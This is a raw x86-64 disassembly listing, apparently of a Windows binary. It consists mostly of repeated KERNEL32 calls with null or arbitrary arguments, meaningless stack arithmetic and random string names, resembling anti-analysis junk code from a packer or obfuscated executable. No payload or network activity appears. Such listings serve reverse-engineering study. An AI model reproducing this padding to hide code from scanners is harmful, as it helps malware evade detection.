xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.5sk1ThWo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc490], rax
mov rcx, qword [rsp + 0xb028]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14d0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x15f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx eax, word [rsp + 0x1494]
mov word [rsp + 0x1738], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0xc498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14022fbf8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0xb778]
mov rdx, qword [rsp + 0xa710]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x507c], eax
mov edx, 0xa0b
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5124], eax
mov rax, qword [0x14022fb60]
mov rcx, qword [rsp + 0xb058]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xb190]
mov rcx, qword [rsp + 0xa620]
mov qword [rsp + 0xc4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0xbe70]
movzx eax, byte [rax]
mov byte [rsp + 0x304], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, [rsp + 0x1b038]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x14024f368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4880], eax
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0x148c]
and eax, ecx
mov word [rsp + 0x784], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc460], rax
movsx eax, byte [rsp + 0x2ee]
mov rcx, qword [rsp + 0xae60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27b], al
lea rcx, str.WlpLpACp.sCKR_c6j3yRV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x164c], ax
movzx ecx, word [rsp + 0x15fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x173c], ax
lea rcx, [rsp + 0x1a798]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0xb050]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x4a08]
mov dword [rsp + 0x5128], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x20], 0x41c
mov r9d, 0x366
mov r8d, 0x31a0
mov edx, 0x21fd
mov rcx, qword [rsp + 0xc138]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x512c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rdx, [rsp + 0x9000]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fd4], eax
lea rcx, [rsp + 0x1b068]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c4]
sub eax, ecx
mov word [rsp + 0x16ec], ax
mov eax, dword [rsp + 0x443c]
mov ecx, dword [rsp + 0x4828]
add ecx, eax
mov eax, ecx
mov dword [0x14024efb0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx ecx, word [rsp + 0x168c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1740], ax
lea rcx, [rsp + 0x22980]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0xb038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x257]
add eax, ecx
mov byte [rsp + 0x145], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
lea rdx, [rsp + 0x9ec8]
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5130], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov qword [rsp + 0x20], 0
mov r9d, 0x1599
mov r8d, 0x3c31
mov edx, 0xc5
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4ae0], eax
mov rax, qword [rsp + 0xbb18]
mov rcx, qword [rsp + 0x9608]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8118], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.N8un3uFn2WRY4YaMS6kC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc4a8], rax
lea rax, [rsp + 0xa630]
mov qword [rsp + 0xc4b0], rax
lea rcx, [rsp + 0x1aee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0xa738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ed4], eax
movsx eax, byte [rsp + 0x2a8]
mov rcx, qword [rsp + 0xb708]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x223], al
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fc80]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c60], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x36f3
mov r8d, 0x1033
mov edx, 0xc4
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x5134], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46bc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rcx, str.WwS8_WqlPgM_FPCQRw9.2Zx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1744], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx ecx, word [rsp + 0x1454]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x9518]
movzx eax, word [rax]
mov word [rsp + 0x1748], ax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
imul eax, eax, 0x18
mov byte [rsp + 0x2e8], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc4b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc460], rax
mov edx, 0x24d8
mov rcx, qword [rsp + 0xb760]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c98], eax
lea rax, [0x14024f208]
mov qword [0x14024ef60], rax
lea rax, [rsp + 0x9f00]
mov qword [rsp + 0xc4c0], rax
mov rax, qword [rsp + 0xc210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d20]
shr eax, cl
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0x7b08]
mov rcx, qword [0x14022fb60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb598], rax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0xc4c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa8a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov eax, dword [rsp + 0x4644]
mov rcx, qword [rsp + 0xab90]
mov qword [rsp + 0xc4d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4864], eax
mov r9d, 2
lea r8, [rsp + 0x9d00]
mov rdx, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xb920]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x50cc], eax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16d0], ax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xc4e0], rax
movzx ecx, word [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1234], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc4e8], rax
lea rdx, [rsp + 0xc1c8]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d94], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.StfSR5eHcB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc4f0], rax
movsx eax, word [rsp + 0x1258]
mov rcx, qword [rsp + 0x9cd0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb7b8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
mov rcx, qword [rsp + 0xbc90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x664], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x208e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5138], eax
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
mov byte [0x14024ef58], al
mov rax, qword [rsp + 0xb660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa438]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xb970]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 2
lea r8, [rsp + 0xbb00]
mov rdx, qword [rsp + 0xbe80]
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0xad30]
mov ecx, dword [rsp + 0x4738]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x26b]
mov byte [rsp + 0x305], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x115c]
movzx ecx, word [rsp + 0x10cc]
imul eax, ecx
mov rcx, qword [rsp + 0xbf50]
mov word [rcx], ax
mov rax, qword [rsp + 0xbee8]
mov eax, dword [rax]
mov dword [rsp + 0x513c], eax
movzx ecx, word [rsp + 0x1100]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1628], ax
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0x13b0]
add eax, ecx
mov word [rsp + 0xda4], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x2ac]
sub eax, ecx
mov byte [rsp + 0x273], al
xor r9d, r9d
lea r8, [rsp + 0xc2e8]
mov rdx, qword [rsp + 0xa050]
mov rcx, qword [rsp + 0xb738]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5140], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
lea rcx, str.OnfzaUsPW2Xlg_P5A
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x174c], ax
mov rax, qword [rsp + 0xb3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ac8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb300], rax
mov edx, 0xd59
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ea8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9f98]
mov rcx, qword [rsp + 0xb0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ea0], eax
mov r9d, 0x1c92
xor r8d, r8d
lea rdx, [rsp + 0xc2d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a10], eax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14024ef70]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, byte [rsp + 0x304]
mov byte [rsp + 0x306], al
mov rax, qword [rsp + 0xc068]
mov rcx, qword [rsp + 0xafd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8918], rax
lea rcx, [rsp + 0xabe8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, str.PHB0.VYY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1750], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, [rsp + 0x234c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e78], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8660]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x82d8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rcx, qword [rsp + 0xb0a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0xc388]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov eax, dword [rsp + 0x4b8c]
mov ecx, dword [rsp + 0x4898]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
mov r9d, 0x37db
mov r8d, 0x1f77
mov edx, 0x6d
mov rcx, qword [rsp + 0xa908]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4cac], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb6a0], rax
mov rax, qword [rsp + 0xb3f8]
movzx eax, byte [rax]
mov byte [rsp + 0x307], al
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5144], eax
lea rcx, [rsp + 0x1ae28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, 0x24cd
mov rcx, qword [rsp + 0xb0d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4f30], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5094]
shr eax, cl
mov dword [rsp + 0x463c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x297]
mov rcx, qword [rsp + 0xbe38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2e8], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [rsp + 0x20], 0x3f0
mov r9d, 0x3a1e
mov r8d, 0x2eac
mov edx, 0x39d5
mov rcx, qword [rsp + 0xb1b8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5120], eax
movzx eax, word [0x14024f058]
movzx ecx, word [rsp + 0x10bc]
cdq
idiv ecx
mov rcx, qword [0x14024f200]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
mov qword [rsp + 0xc500], rax
mov r9d, 0x2b5
xor r8d, r8d
lea rdx, [rsp + 0x9da0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5148], eax
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfb8]
mov qword [rsp + 0xc508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc508]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
lea rax, [0x14024f028]
mov qword [rsp + 0xc510], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword [rsp + 0xad78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc518], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0x13b0]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11f8], ax
lea rax, [rsp + 0x102]
mov qword [rsp + 0xc520], rax
mov rax, qword [rsp + 0x8ac8]
imul rax, qword [rsp + 0xc0a0]
mov qword [rsp + 0xb6a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x21660]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c3c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword [rsp + 0xc200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xab90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc528], rax
mov dword [rsp + 0x20], 0x30e5
mov r9d, 0xbc4
mov r8d, 0x254e
mov edx, 0x2238
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e24], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
movzx eax, byte [rsp + 0x2bb]
movzx ecx, byte [rsp + 0x29d]
sub eax, ecx
mov byte [rsp + 0x24f], al
mov dword [rsp + 0x20], 0x2918
mov r9d, 0x1769
mov r8d, 0x3f6e
mov edx, 0x2f85
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x514c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x120c], ax
lea rax, [rsp + 0x5118]
mov qword [0x14024ef50], rax
mov edx, 0x1e1
mov rcx, qword [rsp + 0xa1f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5150], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0xbe20]
mov ecx, dword [rsp + 0x4a88]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c80], eax
lea rax, [rsp + 0x305]
mov qword [rsp + 0xc530], rax
mov rax, qword [0x14024f360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb8]
add eax, ecx
mov word [rsp + 0x1658], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1734]
add eax, ecx
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xacc8]
movzx eax, byte [rax]
mov byte [rsp + 0x308], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5154], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xb9a0]
mov rcx, qword [rsp + 0xc090]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa738]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov dword [rsp + 0x20], 0x2918
mov r9d, 0x1769
mov r8d, 0x3f6e
mov edx, 0x2f85
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x5158], eax
movzx ecx, word [rsp + 0x1424]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13f0], ax
lea rcx, str.Gok_wqr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16d0], ax
lea rax, [rsp + 0x5118]
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb10]
sub eax, ecx
mov word [rsp + 0xf0c], ax
movzx eax, byte [0x14024f33a]
mov rcx, qword [rsp + 0xa7d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14024f080]
mov byte [rcx], al
mov rax, qword [rsp + 0xa530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb530]
mov qword [rsp + 0xc540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa0c0]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf67
mov r9d, 0x16d9
mov r8d, 0x1772dc16
mov edx, 2
mov rcx, qword [rsp + 0xb630]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x515c], eax
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x22aa0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d3c], eax
movzx ecx, word [rsp + 0x1500]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1754], ax
mov rax, qword [rsp + 0xbdc8]
cqo
idiv qword [rsp + 0xb558]
mov qword [rsp + 0x8a88], rax
movzx ecx, word [rsp + 0x14d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1720], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb100]
mov rcx, qword [rsp + 0xa048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a88], rax
mov eax, dword [rsp + 0x5064]
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0x8658]
mov rcx, qword [rsp + 0x89d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xad20], rax
mov r9d, 2
lea r8, [rsp + 0xaf90]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ab0], eax
lea rax, [rsp + 0x4ed4]
mov qword [rsp + 0xc548], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movsx eax, byte [rsp + 0x27a]
mov rcx, qword [rsp + 0xb388]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xb948]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc350]
mov word [rcx], ax
movzx eax, byte [rsp + 0x100]
mov byte [0x14024ef4c], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc550], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov word [rsp + 0x1758], ax
mov r9d, 1
lea r8, [rsp + 0x9b08]
mov rdx, qword [rsp + 0xa918]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c5c], eax
movzx eax, word [rsp + 0x974]
movzx ecx, word [0x14022fbb0]
imul eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb288]
mov ecx, dword [rsp + 0x42f4]
mov eax, dword [rax]
